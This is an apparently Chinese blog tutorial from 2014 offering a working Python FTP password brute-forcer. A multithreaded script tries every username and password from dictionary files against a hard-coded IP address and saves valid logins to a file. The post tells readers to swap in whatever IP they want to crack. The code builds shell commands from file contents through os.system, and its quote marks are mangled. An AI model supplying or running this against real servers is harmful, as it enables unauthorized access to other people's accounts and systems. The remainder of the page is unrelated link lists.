python编写暴力破解FTP密码小工具


Posted in Python onNovember 19, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 

import time 

import threading
class mythread(threading.Thread): 

def __init__(self,command): 

threading.Thread.__init__(self) 

self.command=command 

def run(self): 

kk=os.system(self.command) 

ushand=open(“user.txt”,”r”) 

pshand=open(“passwd.txt”,”r”) 

listuser=[] 

listpass=[] 

for us in open(“user.txt”,”r”): 

lineus=ushand.readline().strip(‘\n') 

listuser.append(lineus) 

for ps in open(“passwd.txt”,”r”): 

lineps=pshand.readline().strip(‘\n') 

listpass.append(lineps) 

for i in listuser: 

for j in listpass: 

command=”ftp.py %s %s” %(i,j) 

print command 

my_thread=mythread(command) 

my_thread.start() 

time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 

import socket 

import sys 

ftp=ftplib.FTP('121.54.175.204′) 

try: 

user=sys.argv[1] 

passwd=sys.argv[2] 
ftp.login(user,passwd) 

hand=open(‘aa.txt','a+') 

hand.write(user+”:”+passwd+”\n”) 

except ftplib.error_perm: 

print “passwd is world”

由于插不近格式,里面的缩进的什么的得自己手动再调节一下

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
python 实现tar文件压缩解压的实例详解
Aug 20 Python
python使用sqlite3时游标使用方法
Mar 13 Python
Django中的forms组件实例详解
Nov 08 Python
使用Python自动化破解自定义字体混淆信息的方法实例
Feb 13 Python
Python实现监控Nginx配置文件的不同并发送邮件报警功能示例
Feb 26 Python
Python脚本按照当前日期创建多级目录
Mar 01 Python
python程序变成软件的实操方法
Jun 24 Python
Python箱型图处理离群点的例子
Dec 09 Python
Django多进程滚动日志问题解决方案
Dec 17 Python
python数据处理——对pandas进行数据变频或插值实例
Apr 22 Python
Python Charles抓包配置实现流程图解
Sep 29 Python
python 通过 pybind11 使用Eigen加速代码的步骤
Dec 07 Python
用python读写excel的方法
Nov 18 #Python
kNN算法python实现和简单数字识别的方法
Nov 18 #Python
决策树的python实现方法
Nov 18 #Python
linux 下实现python多版本安装实践
Nov 18 #Python
centos 下面安装python2.7 +pip +mysqld
Nov 18 #Python
朴素贝叶斯算法的python实现方法
Nov 18 #Python
使用django-suit为django 1.7 admin后台添加模板
Nov 18 #Python
You might like
一段php加密解密的代码
2006/10/09 PHP
PHP实现分页的一个示例
2006/10/09 PHP
PHP制作图型计数器的例子
2006/10/09 PHP
PHP切割汉字的常用方法实例总结
2019/04/27 PHP
redis+php实现微博(二)发布与关注功能详解
2019/09/23 PHP
javascript中的float运算精度实例分析
2010/08/21 Javascript
jquery用data方法获取某个元素上的事件
2014/06/23 Javascript
实例详解JSON数据格式及json格式数据域字符串相互转换
2016/01/07 Javascript
JS拖拽组件学习使用
2016/01/19 Javascript
JS读写CSS样式的方法汇总
2016/08/16 Javascript
微信小程序  Mustache语法详细介绍
2016/10/27 Javascript
详解如何使用webpack在vue项目中写jsx语法
2017/11/08 Javascript
vue实例中data使用return包裹的方法
2018/08/27 Javascript
15个顶级开源JavaScript框架和库
2018/10/10 Javascript
自定义Vue组件打包、发布到npm及使用教程
2019/05/22 Javascript
微信小程序后端(java)开发流程的详细步骤
2019/11/13 Javascript
vue学习笔记之过滤器的基本使用方法实例分析
2020/02/01 Javascript
微信小程序订阅消息(java后端实现)开发
2020/06/01 Javascript
解决vuex改变了state的值,但是页面没有更新的问题
2020/11/12 Javascript
JavaScript 声明私有变量的两种方式
2021/02/05 Javascript
[00:58]PWL开团时刻DAY5——十人开雾0换5
2020/11/04 DOTA
详解Python的collections模块中的deque双端队列结构
2016/07/07 Python
Pycharm学习教程(4) Python解释器的相关配置
2017/05/03 Python
Python tkinter模块中类继承的三种方式分析
2017/08/08 Python
Python使用base64模块进行二进制数据编码详解
2018/01/11 Python
python实现简单的文字识别
2018/11/27 Python
python 获取sqlite3数据库的表名和表字段名的实例
2019/07/17 Python
python爬虫 基于requests模块的get请求实现详解
2019/08/20 Python
伦敦剧院及景点门票:Encore Tickets
2018/07/01 全球购物
德国高端单身人士交友网站:ElitePartner
2018/12/02 全球购物
仓库理货员岗位职责
2013/12/18 职场文书
大学生暑期实践报告
2015/07/13 职场文书
教师节校长致辞
2015/07/31 职场文书
宪法宣传标语100条
2019/10/15 职场文书
导游词之苏州阳澄湖
2019/11/15 职场文书
pytorch中的torch.nn.Conv2d()函数图文详解
2022/02/28 Python